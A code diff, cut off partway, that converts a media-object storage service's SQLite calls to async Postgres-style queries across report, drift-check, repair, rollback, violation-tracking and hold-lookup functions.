+ return await q.all(`SELECT o.* FROM media_objects o WHERE ${NO_GOOD_COPY_WHERE}${appId ? ' AND o.app_id = ?' : ''} ORDER BY o.app_id, o.id`, appId ? [appId] : []);
}
}
-function tableExists(q, name) {
- return !!q.get("SELECT 1 AS x FROM sqlite_master WHERE type = 'table' AND name = ?", [name]);
+async function tableExists(q, name) {
+ return !!await q.get("SELECT 1 AS x FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = ?", [name]);
}
}
function parseJson(s, dflt) { try { return s ? JSON.parse(s) : dflt; } catch { return dflt; } }
function parseJson(s, dflt) { try { return s ? JSON.parse(s) : dflt; } catch { return dflt; } }
/** Rows elsewhere that point at the object: the inherited projections, relationships, variants, holds. */
/** Rows elsewhere that point at the object: the inherited projections, relationships, variants, holds. */
-function references(q, obj) {
+async function references(q, obj) {
const refs = {
const refs = {
- vods: q.all(`SELECT id, app_id, user_id, stream_id, managed_stream_id, title, visibility, is_public, file_path, file_size,
+ vods: await q.all(`SELECT id, app_id, user_id, stream_id, managed_stream_id, title, visibility, is_public, file_path, file_size,
storage_provider, storage_key, created_at FROM vods WHERE object_id = ?`, [obj.id]),
storage_provider, storage_key, created_at FROM vods WHERE object_id = ?`, [obj.id]),
- clips: q.all(`SELECT id, app_id, vod_id, stream_id, user_id, channel_user_id, title, visibility, is_public, file_path, status, created_at
+ clips: await q.all(`SELECT id, app_id, vod_id, stream_id, user_id, channel_user_id, title, visibility, is_public, file_path, status, created_at
FROM clips WHERE object_id = ?`, [obj.id]),
FROM clips WHERE object_id = ?`, [obj.id]),
- files: q.all('SELECT key, app_id, user_id, original_name, size, mime, created_at FROM files WHERE object_id = ?', [obj.id]),
- pastes: q.all('SELECT id, slug, app_id, user_id, title, type, visibility, screenshot_path, created_at FROM pastes WHERE object_id = ?', [obj.id]),
- relationships: q.all(`SELECT from_object_id, relation, to_object_id FROM media_relationships
+ files: await q.all('SELECT key, app_id, user_id, original_name, size, mime, created_at FROM files WHERE object_id = ?', [obj.id]),
+ pastes: await q.all('SELECT id, slug, app_id, user_id, title, type, visibility, screenshot_path, created_at FROM pastes WHERE object_id = ?', [obj.id]),
+ relationships: await q.all(`SELECT from_object_id, relation, to_object_id FROM media_relationships
WHERE from_object_id = ? OR to_object_id = ? ORDER BY id`, [obj.id, obj.id]),
WHERE from_object_id = ? OR to_object_id = ? ORDER BY id`, [obj.id, obj.id]),
- variants: q.all(`SELECT object_id, variant_name, derived_object_id FROM media_variants
+ variants: await q.all(`SELECT object_id, variant_name, derived_object_id FROM media_variants
WHERE object_id = ? OR derived_object_id = ? ORDER BY id`, [obj.id, obj.id]),
WHERE object_id = ? OR derived_object_id = ? ORDER BY id`, [obj.id, obj.id]),
- holds: q.all('SELECT id, kind, reason, created_by, created_at FROM media_holds WHERE object_id = ? AND released_at IS NULL ORDER BY id', [obj.id]),
+ holds: await q.all('SELECT id, kind, reason, created_by, created_at FROM media_holds WHERE object_id = ? AND released_at IS NULL ORDER BY id', [obj.id]),
};
};
return refs;
return refs;
}
}
/** Everything an operator needs to decide what to do with each object that has no good copy. */
/** Everything an operator needs to decide what to do with each object that has no good copy. */
-function buildReport(q, { appId = null } = {}) {
- const hasVerifications = tableExists(q, 'media_verifications');
- const items = listNoGoodCopy(q, { appId }).map((o) => {
- const last = hasVerifications ? q.get('SELECT verified_at, status, detail FROM media_verifications WHERE object_id = ?', [o.id]) : null;
+async function buildReport(q, { appId = null } = {}) {
+ const hasVerifications = await tableExists(q, 'media_verifications');
+ const items = (await Promise.all((await listNoGoodCopy(q, { appId })).map(async (o) => {
+ const last = hasVerifications ? await q.get('SELECT verified_at, status, detail FROM media_verifications WHERE object_id = ?', [o.id]) : null;
const md = parseJson(o.metadata, {});
const md = parseJson(o.metadata, {});
return {
return {
object_id: o.id,
object_id: o.id,
@@ -66,11 +66,11 @@ function buildReport(q, { appId = null } = {}) {
@@ -66,11 +66,11 @@ function buildReport(q, { appId = null } = {}) {
owner: { app: o.owner_app || o.app_id, user_id: o.owner_user_id ?? null, subject: o.owner_subject || null },
owner: { app: o.owner_app || o.app_id, user_id: o.owner_user_id ?? null, subject: o.owner_subject || null },
legacy_ref: o.legacy_ref || null,
legacy_ref: o.legacy_ref || null,
canonical: { provider: o.canonical_provider || null, key: o.canonical_key || null },
canonical: { provider: o.canonical_provider || null, key: o.canonical_key || null },
- locations: q.all('SELECT provider, bucket, key, state, size_bytes, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [o.id]),
- references: references(q, o),
+ locations: await q.all('SELECT provider, bucket, key, state, size_bytes, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [o.id]),
+ references: await references(q, o),
last_verification: last ? { verified_at: last.verified_at, status: last.status, detail: parseJson(last.detail, {}) } : null,
last_verification: last ? { verified_at: last.verified_at, status: last.status, detail: parseJson(last.detail, {}) } : null,
};
};
- });
+ })));
return { generated_at: new Date().toISOString(), app_id: appId, count: items.length, objects: items };
return { generated_at: new Date().toISOString(), app_id: appId, count: items.length, objects: items };
}
}
@@ -41,7 +41,7 @@ function expectedFields(p) {
@@ -41,7 +41,7 @@ function expectedFields(p) {
const same = (a, b) => (a == null ? '' : String(a)) === (b == null ? '' : String(b));
const same = (a, b) => (a == null ? '' : String(a)) === (b == null ? '' : String(b));
/** Every row of `table` (optionally one tenant's) in key order, a page at a time. */
/** Every row of `table` (optionally one tenant's) in key order, a page at a time. */
-function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {
+async function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {
const conds = [];
const conds = [];
const params = [];
const params = [];
if (appId) { conds.push('app_id = ?'); params.push(appId); }
if (appId) { conds.push('app_id = ?'); params.push(appId); }
@@ -49,7 +49,7 @@ function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {
@@ -49,7 +49,7 @@ function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {
let last = null;
let last = null;
for (;;) {
for (;;) {
const c = last == null ? conds : [...conds, `${keyCol} > ?`];
const c = last == null ? conds : [...conds, `${keyCol} > ?`];
- const page = q.all(`SELECT * FROM ${table}${c.length ? ` WHERE ${c.join(' AND ')}` : ''} ORDER BY ${keyCol} LIMIT ${PAGE}`,
+ const page = await q.all(`SELECT * FROM ${table}${c.length ? ` WHERE ${c.join(' AND ')}` : ''} ORDER BY ${keyCol} LIMIT ${PAGE}`,
last == null ? params : [...params, last]);
last == null ? params : [...params, last]);
for (const r of page) yield r;
for (const r of page) yield r;
if (page.length < PAGE) return;
if (page.length < PAGE) return;
@@ -57,7 +57,7 @@ function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {
@@ -57,7 +57,7 @@ function* eachRow(q, table, keyCol, { appId = null, where = null } = {}) {
}
}
}
}
-function buildReport(q, { appId = null, limit = 20 } = {}) {
+async function buildReport(q, { appId = null, limit = 20 } = {}) {
const report = {
const report = {
generated_at: new Date().toISOString(),
generated_at: new Date().toISOString(),
app_id: appId,
app_id: appId,
@@ -69,15 +69,15 @@ function buildReport(q, { appId = null, limit = 20 } = {}) {
@@ -69,15 +69,15 @@ function buildReport(q, { appId = null, limit = 20 } = {}) {
total_drift: 0,
total_drift: 0,
};
};
// Objects by legacy ref, loaded once (the compared columns only); a row's object_id is looked up when its ref finds none.
// Objects by legacy ref, loaded once (the compared columns only); a row's object_id is looked up when its ref finds none.
- const byRef = new Map(q.all(`SELECT ${OBJECT_COLS} FROM media_objects WHERE legacy_ref IS NOT NULL`).map(o => [o.legacy_ref, o]));
- const byId = (id) => (id ? q.get(`SELECT ${OBJECT_COLS} FROM media_objects WHERE id = ?`, [id]) || null : null);
+ const byRef = new Map((await q.all(`SELECT ${OBJECT_COLS} FROM media_objects WHERE legacy_ref IS NOT NULL`)).map(o => [o.legacy_ref, o]));
+ const byId = async (id) => (id ? await q.get(`SELECT ${OBJECT_COLS} FROM media_objects WHERE id = ?`, [id]) || null : null);
/** Compare one row's projection with its object. Returns the object found (or null). */
/** Compare one row's projection with its object. Returns the object found (or null). */
- const check = (kind, where, p, linkedId) => {
+ const check = async (kind, where, p, linkedId) => {
const k = report.kinds[kind];
const k = report.kinds[kind];
k.rows++;
k.rows++;
report.total_rows++;
report.total_rows++;
- const found = byRef.get(p.legacy_ref) || byId(linkedId);
+ const found = byRef.get(p.legacy_ref) || await byId(linkedId);
const problems = [];
const problems = [];
const diff = {};
const diff = {};
if (!found) {
if (!found) {
@@ -100,29 +100,29 @@ function buildReport(q, { appId = null, limit = 20 } = {}) {
@@ -100,29 +100,29 @@ function buildReport(q, { appId = null, limit = 20 } = {}) {
return found;
return found;
};
};
const skip = (kind) => { report.kinds[kind].skipped++; };
const skip = (kind) => { report.kinds[kind].skipped++; };
- const thumbnailOf = (row, table, parentKind, parent) => {
+ const thumbnailOf = async (row, table, parentKind, parent) => {
const tp = model.thumbnailProjection(row, parentKind);
const tp = model.thumbnailProjection(row, parentKind);
if (!tp) return;
if (!tp) return;
if (tp.skipped) return skip('thumbnail');
if (tp.skipped) return skip('thumbnail');
- const variant = parent ? q.get("SELECT derived_object_id FROM media_variants WHERE object_id = ? AND variant_name = 'thumbnail'", [parent.id]) : null;
- check('thumbnail', { table, id: row.id, of: parentKind }, tp, variant ? variant.derived_object_id : null);
+ const variant = parent ? await q.get("SELECT derived_object_id FROM media_variants WHERE object_id = ? AND variant_name = 'thumbnail'", [parent.id]) : null;
+ await check('thumbnail', { table, id: row.id, of: parentKind }, tp, variant ? variant.derived_object_id : null);
};
};
- for (const row of eachRow(q, 'vods', 'id', { appId })) {
+ for await (const row of await eachRow(q, 'vods', 'id', { appId })) {
const p = model.vodProjection(row);
const p = model.vodProjection(row);
if (p.skipped) { skip('vod'); continue; }
if (p.skipped) { skip('vod'); continue; }
- thumbnailOf(row, 'vods', 'vod', check('vod', { table: 'vods', id: row.id }, p, row.object_id));
+ await thumbnailOf(row, 'vods', 'vod', await check('vod', { table: 'vods', id: row.id }, p, row.object_id));
}
}
- for (const row of eachRow(q, 'clips', 'id', { appId })) {
- thumbnailOf(row, 'clips', 'clip', check('clip', { table: 'clips', id: row.id }, model.clipProjection(row), row.object_id));
+ for await (const row of await eachRow(q, 'clips', 'id', { appId })) {
+ await thumbnailOf(row, 'clips', 'clip', await check('clip', { table: 'clips', id: row.id }, model.clipProjection(row), row.object_id));
}
}
- for (const row of eachRow(q, 'files', 'key', { appId })) {
- check('file', { table: 'files', id: row.key }, model.fileProjection(row), row.object_id);
+ for await (const row of await eachRow(q, 'files', 'key', { appId })) {
+ await check('file', { table: 'files', id: row.key }, model.fileProjection(row), row.object_id);
}
}
- for (const row of eachRow(q, 'pastes', 'id', { appId, where: "type = 'screenshot'" })) {
+ for await (const row of await eachRow(q, 'pastes', 'id', { appId, where: "type = 'screenshot'" })) {
const p = model.pasteProjection(row);
const p = model.pasteProjection(row);
if (p.skipped) { skip('screenshot'); continue; }
if (p.skipped) { skip('screenshot'); continue; }
- check(p.kind, { table: 'pastes', id: row.id, slug: row.slug }, p, row.object_id);
+ await check(p.kind, { table: 'pastes', id: row.id, slug: row.slug }, p, row.object_id);
}
}
return report;
return report;
}
}
@@ -80,21 +80,21 @@ function plan(item, probes = {}, facts = {}) {
@@ -80,21 +80,21 @@ function plan(item, probes = {}, facts = {}) {
* Apply one planned change. h = better-sqlite3 handle. facts: { size, sha256 } of the good bytes (rebaseline,
* Apply one planned change. h = better-sqlite3 handle. facts: { size, sha256 } of the good bytes (rebaseline,
* regenerate). → the change with old values, or { skipped } when the row moved on.
* regenerate). → the change with old values, or { skipped } when the row moved on.
*/
*/
-function apply(h, step, facts = {}) {
- const cur = h.prepare('SELECT id, size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = ?').get(step.object_id);
+async function apply(h, step, facts = {}) {
+ const cur = await h.prepare('SELECT id, size_bytes, content_hash, lifecycle_status FROM media_objects WHERE id = ?').get(step.object_id);
if (!cur) return { ...step, skipped: 'object gone' };
if (!cur) return { ...step, skipped: 'object gone' };
const obj = { ...cur, ...(step.read || {}) };
const obj = { ...cur, ...(step.read || {}) };
- const tx = h.transaction(() => {
+ const tx = async () => await h.tx(async () => {
if (step.action === 'rebaseline' || step.action === 'regenerate' || step.action === 'resize') {
if (step.action === 'rebaseline' || step.action === 'regenerate' || step.action === 'resize') {
const provider = step.action === 'regenerate' ? 'local' : step.provider;
const provider = step.action === 'regenerate' ? 'local' : step.provider;
- const loc = h.prepare('SELECT id, state, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(obj.id, provider);
+ const loc = await h.prepare('SELECT id, state, size_bytes FROM media_locations WHERE object_id = ? AND provider = ?').get(obj.id, provider);
if (!loc) return { ...step, skipped: `no ${provider} location` };
if (!loc) return { ...step, skipped: `no ${provider} location` };
if (step.action === 'resize' && facts.sha256 !== obj.content_hash) return { ...step, skipped: 'the copy does not hash to the object\'s content_hash' };
if (step.action === 'resize' && facts.sha256 !== obj.content_hash) return { ...step, skipped: 'the copy does not hash to the object\'s content_hash' };
- const r = h.prepare("UPDATE media_objects SET size_bytes = ?, content_hash = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND size_bytes IS ? AND content_hash IS ?")
+ const r = await h.prepare("UPDATE media_objects SET size_bytes = ?, content_hash = ?, updated_at = ov_now() WHERE id = ? AND size_bytes IS NOT DISTINCT FROM ? AND content_hash IS NOT DISTINCT FROM ?")
.run(facts.size, facts.sha256, obj.id, obj.size_bytes, obj.content_hash);
.run(facts.size, facts.sha256, obj.id, obj.size_bytes, obj.content_hash);
if (!r.changes) return { ...step, skipped: 'the object changed since it was read' };
if (!r.changes) return { ...step, skipped: 'the object changed since it was read' };
- h.prepare("UPDATE media_locations SET state = 'present', size_bytes = ?, verified_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP WHERE id = ?").run(facts.size, loc.id);
- const legacy = step.action === 'regenerate' ? null : legacySize(h, step.legacy_ref, facts.size);
+ await h.prepare("UPDATE media_locations SET state = 'present', size_bytes = ?, verified_at = ov_now(), updated_at = ov_now() WHERE id = ?").run(facts.size, loc.id);
+ const legacy = step.action === 'regenerate' ? null : await legacySize(h, step.legacy_ref, facts.size);
return {
return {
...step,
...step,
old: { size_bytes: obj.size_bytes, content_hash: obj.content_hash, location_state: loc.state, location_size: loc.size_bytes, ...(legacy ? { legacy_file_size: legacy.old } : {}) },
old: { size_bytes: obj.size_bytes, content_hash: obj.content_hash, location_state: loc.state, location_size: loc.size_bytes, ...(legacy ? { legacy_file_size: legacy.old } : {}) },
@@ -102,47 +102,47 @@ function apply(h, step, facts = {}) {
@@ -102,47 +102,47 @@ function apply(h, step, facts = {}) {
};
};
}
}
if (step.action === 'failed_recording') {
if (step.action === 'failed_recording') {
- const r = h.prepare("UPDATE media_objects SET lifecycle_status = 'failed', updated_at = CURRENT_TIMESTAMP WHERE id = ? AND lifecycle_status = ?").run(obj.id, obj.lifecycle_status);
+ const r = await h.prepare("UPDATE media_objects SET lifecycle_status = 'failed', updated_at = ov_now() WHERE id = ? AND lifecycle_status = ?").run(obj.id, obj.lifecycle_status);
if (!r.changes) return { ...step, skipped: 'the object changed since it was read' };
if (!r.changes) return { ...step, skipped: 'the object changed since it was read' };
return { ...step, old: { lifecycle_status: obj.lifecycle_status }, new: { lifecycle_status: 'failed' } };
return { ...step, old: { lifecycle_status: obj.lifecycle_status }, new: { lifecycle_status: 'failed' } };
}
}
return { ...step, skipped: 'nothing to write' };
return { ...step, skipped: 'nothing to write' };
});
});
- return tx();
+ return await tx();
}
}
/**
/**
* The legacy vods row behind a VOD object gets the object's size (file_size), so the projection from that
* The legacy vods row behind a VOD object gets the object's size (file_size), so the projection from that
* row (vodProjection) agrees with the object. Inside apply()'s transaction. → { old } or null (no row).
* row (vodProjection) agrees with the object. Inside apply()'s transaction. → { old } or null (no row).
*/
*/
-function legacySize(h, legacyRef, size) {
+async function legacySize(h, legacyRef, size) {
const m = VOD_REF.exec(String(legacyRef || ''));
const m = VOD_REF.exec(String(legacyRef || ''));
if (!m) return null;
if (!m) return null;
- const hasTable = h.prepare("SELECT 1 FROM sqlite_master WHERE type = 'table' AND name = 'vods'").get();
- const row = hasTable && h.prepare('SELECT file_size FROM vods WHERE id = ?').get(Number(m[1]));
+ const hasTable = await h.prepare("SELECT 1 FROM information_schema.tables WHERE table_schema = current_schema() AND table_name = 'vods'").get();
+ const row = hasTable && await h.prepare('SELECT file_size FROM vods WHERE id = ?').get(Number(m[1]));
if (!row) return null;
if (!row) return null;
- h.prepare('UPDATE vods SET file_size = ? WHERE id = ?').run(size, Number(m[1]));
+ await h.prepare('UPDATE vods SET file_size = ? WHERE id = ?').run(size, Number(m[1]));
return { old: row.file_size };
return { old: row.file_size };
}
}
/** Undo one applied change where the row still holds what the repair wrote. → { restored } | { skipped } */
/** Undo one applied change where the row still holds what the repair wrote. → { restored } | { skipped } */
-function rollback(h, change) {
+async function rollback(h, change) {
if (!change || !change.old || !change.new) return { ...change, skipped: 'not an applied change' };
if (!change || !change.old || !change.new) return { ...change, skipped: 'not an applied change' };
- const tx = h.transaction(() => {
+ const tx = async () => await h.tx(async () => {
if (change.action === 'failed_recording') {
if (change.action === 'failed_recording') {
- const r = h.prepare('UPDATE media_objects SET lifecycle_status = ? WHERE id = ? AND lifecycle_status = ?').run(change.old.lifecycle_status, change.object_id, change.new.lifecycle_status);
+ const r = await h.prepare('UPDATE media_objects SET lifecycle_status = ? WHERE id = ? AND lifecycle_status = ?').run(change.old.lifecycle_status, change.object_id, change.new.lifecycle_status);
return r.changes ? { ...change, restored: true } : { ...change, skipped: 'the row changed since' };
return r.changes ? { ...change, restored: true } : { ...change, skipped: 'the row changed since' };
}
}
- const r = h.prepare('UPDATE media_objects SET size_bytes = ?, content_hash = ? WHERE id = ? AND size_bytes IS ? AND content_hash IS ?')
+ const r = await h.prepare('UPDATE media_objects SET size_bytes = ?, content_hash = ? WHERE id = ? AND size_bytes IS NOT DISTINCT FROM ? AND content_hash IS NOT DISTINCT FROM ?')
.run(change.old.size_bytes, change.old.content_hash, change.object_id, change.new.size_bytes, change.new.content_hash);
.run(change.old.size_bytes, change.old.content_hash, change.object_id, change.new.size_bytes, change.new.content_hash);
if (!r.changes) return { ...change, skipped: 'the row changed since' };
if (!r.changes) return { ...change, skipped: 'the row changed since' };
const provider = change.action === 'regenerate' ? 'local' : change.provider;
const provider = change.action === 'regenerate' ? 'local' : change.provider;
- h.prepare('UPDATE media_locations SET state = ?, size_bytes = ? WHERE object_id = ? AND provider = ?').run(change.old.location_state, change.old.location_size, change.object_id, provider);
+ await h.prepare('UPDATE media_locations SET state = ?, size_bytes = ? WHERE object_id = ? AND provider = ?').run(change.old.location_state, change.old.location_size, change.object_id, provider);
const m = VOD_REF.exec(String(change.legacy_ref || ''));
const m = VOD_REF.exec(String(change.legacy_ref || ''));
- if (m && 'legacy_file_size' in change.old) h.prepare('UPDATE vods SET file_size = ? WHERE id = ? AND file_size IS ?').run(change.old.legacy_file_size, Number(m[1]), change.new.legacy_file_size);
+ if (m && 'legacy_file_size' in change.old) await h.prepare('UPDATE vods SET file_size = ? WHERE id = ? AND file_size IS NOT DISTINCT FROM ?').run(change.old.legacy_file_size, Number(m[1]), change.new.legacy_file_size);
return { ...change, restored: true };
return { ...change, restored: true };
});
});
- return tx();
+ return await tx();
}
}
module.exports = { plan, apply, rollback, judgeProbe, MIN_SECONDS, SHOT_RE };
module.exports = { plan, apply, rollback, judgeProbe, MIN_SECONDS, SHOT_RE };
@@ -47,22 +47,22 @@ function validate(obj, t = thresholds()) {
@@ -47,22 +47,22 @@ function validate(obj, t = thresholds()) {
}
}
/** Upsert (warn/violation) or resolve this object's violation row. Returns the level recorded, or null. */
/** Upsert (warn/violation) or resolve this object's violation row. Returns the level recorded, or null. */
-function record(obj, t = thresholds()) {
+async function record(obj, t = thresholds()) {
if (!obj) return null;
if (!obj) return null;
const v = validate(obj, t);
const v = validate(obj, t);
- const open = db.get('SELECT * FROM media_invariant_violations WHERE object_id = ?', [obj.id]);
+ const open = await db.get('SELECT * FROM media_invariant_violations WHERE object_id = ?', [obj.id]);
if (v.public_playback && (v.level === 'warn' || v.level === 'violation')) {
if (v.public_playback && (v.level === 'warn' || v.level === 'violation')) {
if (open) {
if (open) {
- db.run(`UPDATE media_invariant_violations SET level = ?, size_bytes = ?, threshold_bytes = ?, last_seen_at = CURRENT_TIMESTAMP,
- resolved_at = NULL, detected_at = CASE WHEN resolved_at IS NULL THEN detected_at ELSE CURRENT_TIMESTAMP END
+ await db.run(`UPDATE media_invariant_violations SET level = ?, size_bytes = ?, threshold_bytes = ?, last_seen_at = ov_now(),
+ resolved_at = NULL, detected_at = CASE WHEN resolved_at IS NULL THEN detected_at ELSE ov_now() END
WHERE id = ?`, [v.level, v.size_bytes, v.threshold_bytes, open.id]);
WHERE id = ?`, [v.level, v.size_bytes, v.threshold_bytes, open.id]);
} else {
} else {
- db.run('INSERT INTO media_invariant_violations (object_id, level, size_bytes, threshold_bytes) VALUES (?, ?, ?, ?)',
+ await db.run('INSERT INTO media_invariant_violations (object_id, level, size_bytes, threshold_bytes) VALUES (?, ?, ?, ?) RETURNING id',
[obj.id, v.level, v.size_bytes, v.threshold_bytes]);
[obj.id, v.level, v.size_bytes, v.threshold_bytes]);
}
}
return v.level;
return v.level;
}
}
- if (open && !open.resolved_at) db.run('UPDATE media_invariant_violations SET resolved_at = CURRENT_TIMESTAMP WHERE id = ?', [open.id]);
+ if (open && !open.resolved_at) await db.run('UPDATE media_invariant_violations SET resolved_at = ov_now() WHERE id = ?', [open.id]);
return null;
return null;
}
}
@@ -70,9 +70,9 @@ function record(obj, t = thresholds()) {
@@ -70,9 +70,9 @@ function record(obj, t = thresholds()) {
* Scan every public playback object. Returns { thresholds, counts, objects } where
* Scan every public playback object. Returns { thresholds, counts, objects } where
* objects lists everything above target (largest first). record=false is a dry run.
* objects lists everything above target (largest first). record=false is a dry run.
*/
*/
-function scan({ record: write = true, appId = null } = {}) {
+async function scan({ record: write = true, appId = null } = {}) {
const t = thresholds();
const t = thresholds();
- const rows = db.all(`SELECT * FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'
+ const rows = await db.all(`SELECT * FROM media_objects WHERE kind IN ('vod', 'clip') AND visibility != 'private' AND lifecycle_status = 'ready'
${appId ? 'AND app_id = ?' : ''} ORDER BY size_bytes DESC`, appId ? [appId] : []);
${appId ? 'AND app_id = ?' : ''} ORDER BY size_bytes DESC`, appId ? [appId] : []);
const counts = { ok: 0, above_target: 0, warn: 0, violation: 0 };
const counts = { ok: 0, above_target: 0, warn: 0, violation: 0 };
const objects = [];
const objects = [];
@@ -80,13 +80,13 @@ function scan({ record: write = true, appId = null } = {}) {
@@ -80,13 +80,13 @@ function scan({ record: write = true, appId = null } = {}) {
const v = validate(obj, t);
const v = validate(obj, t);
counts[v.level]++;
counts[v.level]++;
if (v.level !== 'ok') objects.push({ ...v, app_id: obj.app_id, legacy_ref: obj.legacy_ref });
if (v.level !== 'ok') objects.push({ ...v, app_id: obj.app_id, legacy_ref: obj.legacy_ref });
- if (write) record(obj, t);
+ if (write) await record(obj, t);
}
}
// Objects that stopped being public playback (made private, deleted) resolve too.
// Objects that stopped being public playback (made private, deleted) resolve too.
if (write) {
if (write) {
- const stale = db.all(`SELECT o.*, v.id AS violation_id FROM media_invariant_violations v LEFT JOIN media_objects o ON o.id = v.object_id
+ const stale = await db.all(`SELECT o.*, v.id AS violation_id FROM media_invariant_violations v LEFT JOIN media_objects o ON o.id = v.object_id
WHERE v.resolved_at IS NULL`);
WHERE v.resolved_at IS NULL`);
- for (const s of stale) if (!isPublicPlayback(s)) db.run('UPDATE media_invariant_violations SET resolved_at = CURRENT_TIMESTAMP WHERE id = ?', [s.violation_id]);
+ for (const s of stale) if (!isPublicPlayback(s)) await db.run('UPDATE media_invariant_violations SET resolved_at = ov_now() WHERE id = ?', [s.violation_id]);
}
}
return { thresholds: t, counts, objects };
return { thresholds: t, counts, objects };
}
}
@@ -78,54 +78,54 @@ const vodStorage = () => require('../vod/vod-storage');
@@ -78,54 +78,54 @@ const vodStorage = () => require('../vod/vod-storage');
// ── Reads ────────────────────────────────────────────────────
// ── Reads ────────────────────────────────────────────────────
-function getObject(id) {
- return id ? db.get('SELECT * FROM media_objects WHERE id = ?', [id]) : null;
+async function getObject(id) {
+ return id ? await db.get('SELECT * FROM media_objects WHERE id = ?', [id]) : null;
}
}
-function getObjectByLegacyRef(ref) {
- return ref ? db.get('SELECT * FROM media_objects WHERE legacy_ref = ?', [ref]) : null;
+async function getObjectByLegacyRef(ref) {
+ return ref ? await db.get('SELECT * FROM media_objects WHERE legacy_ref = ?', [ref]) : null;
}
}
/** An object by med_ id or legacy ref, scoped to one tenant (null when it belongs to another). */
/** An object by med_ id or legacy ref, scoped to one tenant (null when it belongs to another). */
-function resolveObject(idOrRef, appId) {
+async function resolveObject(idOrRef, appId) {
const key = String(idOrRef || '');
const key = String(idOrRef || '');
- const obj = key.startsWith('legacy:') ? getObjectByLegacyRef(key) : getObject(key);
+ const obj = key.startsWith('legacy:') ? await getObjectByLegacyRef(key) : await getObject(key);
return obj && obj.app_id === appId ? obj : null;
return obj && obj.app_id === appId ? obj : null;
}
}
-function listLocations(objectId) {
- return db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [objectId]);
+async function listLocations(objectId) {
+ return await db.all('SELECT * FROM media_locations WHERE object_id = ? ORDER BY id', [objectId]);
}
}
-function listHolds(objectId, { includeReleased = false } = {}) {
- return db.all(`SELECT * FROM media_holds WHERE object_id = ?${includeReleased ? '' : ' AND released_at IS NULL'} ORDER BY id`, [objectId]);
+async function listHolds(objectId, { includeReleased = false } = {}) {
+ return await db.all(`SELECT * FROM media_holds WHERE object_id = ?${includeReleased ? '' : ' AND released_at IS NULL'} ORDER BY id`, [objectId]);
}
}
/** Unreleased holds a clip inherits from its source VOD (clip_of, or the clip row's vod_id), each with inherited_from. */
/** Unreleased holds a clip inherits from its source VOD (clip_of, or the clip row's vod_id), each with inherited_from. */
-function inheritedHolds(objectId) {
+async function inheritedHolds(objectId) {
if (!objectId) return [];
if (!objectId) return [];
- return db.all(`SELECT h.*, h.object_id AS inherited_from FROM media_holds h WHERE h.released_at IS NULL AND h.object_id != @id AND (
+ return await db.all(`SELECT h.*, h.object_id AS inherited_from FROM media_holds h WHERE h.released_at IS NULL AND h.object_id != @id AND (
h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = @id AND r.relation = 'clip_of')
h.object_id IN (SELECT r.to_object_id FROM media_relationships r WHERE r.from_object_id = @id AND r.relation = 'clip_of')
OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = @id)) ORDER BY h.id`, { id: objectId });
OR h.object_id IN (SELECT v.object_id FROM clips c JOIN vods v ON v.id = c.vod_id WHERE c.object_id = @id)) ORDER BY h.id`, { id: objectId });
}
}
/** Under an unreleased hold: its own, or (a clip) its source VOD's. The delete triggers apply the same rule (db.heldSql). */
/** Under an unreleased hold: its own, or (a clip) its source VOD's. The delete triggers apply the same rule (db.heldSql). */
-function isHeld(objectId) {
+async function isHeld(objectId) {
if (!objectId) return false;
if (!objectId) return false;
- return !!db.get(`SELECT ${db.heldSql('@id')} AS held`, { id: objectId }).held;
+ return !!(await db.get(`SELECT ${db.heldSql('@id')} AS held`, { id: objectId })).held;
}
}
/**
/**
* Hold check for an inherited row (vods/clips/files/pastes). A clip row also follows its source VOD's
* Hold check for an inherited row (vods/clips/files/pastes). A clip row also follows its source VOD's
* hold before it has an object of its own; any other row with no object yet is not held.
* hold before it has an object of its own; any other row with no object yet is not held.
*/
*/
-function isHeldRow(row) {
+async function isHeldRow(row) {
try {
try {
if (!row) return false;
if (!row) return false;
- if (row.object_id && isHeld(row.object_id)) return true;
+ if (row.object_id && await isHeld(row.object_id)) return true;
if (row.vod_id != null) {
if (row.vod_id != null) {
- const vod = db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);
- return !!(vod && vod.object_id && isHeld(vod.object_id));
+ const vod = await db.get('SELECT object_id FROM vods WHERE id = ?', [row.vod_id]);
+ return !!(vod && vod.object_id && await isHeld(vod.object_id));
}
}
return false;
return false;
} catch { return false; }
} catch { return false; }
@@ -137,24 +137,24 @@ const OBJECT_COLUMNS = ['app_id', 'namespace', 'kind', 'owner_subject', 'owner_a
@@ -137,24 +137,24 @@ const OBJECT_COLUMNS = ['app_id', 'namespace', 'kind', 'owner_subject', 'owner_a
'lifecycle_status', 'mime_type', 'size_bytes', 'content_hash', 'canonical_provider', 'canonical_key', 'legacy_ref', 'metadata', 'deleted_at'];
'lifecycle_status', 'mime_type', 'size_bytes', 'content_hash', 'canonical_provider', 'canonical_key', 'legacy_ref', 'metadata', 'deleted_at'];
/** The root namespace of tenant `appId`: its app id, or app.<project_id>[.sandbox] for a developer project. */
/** The root namespace of tenant `appId`: its app id, or app.<project_id>[.sandbox] for a developer project. */
-function tenantRoot(appId) {
- return db.rootNamespace(db.getApp(appId) || { app_id: appId });
+async function tenantRoot(appId) {
+ return db.rootNamespace(await db.getApp(appId) || { app_id: appId });
}
}
-function createObject(o) {
+async function createObject(o) {
if (!KINDS.includes(o.kind)) throw new Error(`unknown kind ${o.kind}`);
if (!KINDS.includes(o.kind)) throw new Error(`unknown kind ${o.kind}`);
const id = ids.newId('media', o.createdMs);
const id = ids.newId('media', o.createdMs);
- db.run(`INSERT INTO media_objects (id, app_id, namespace, kind, owner_subject, owner_app, owner_user_id, visibility,
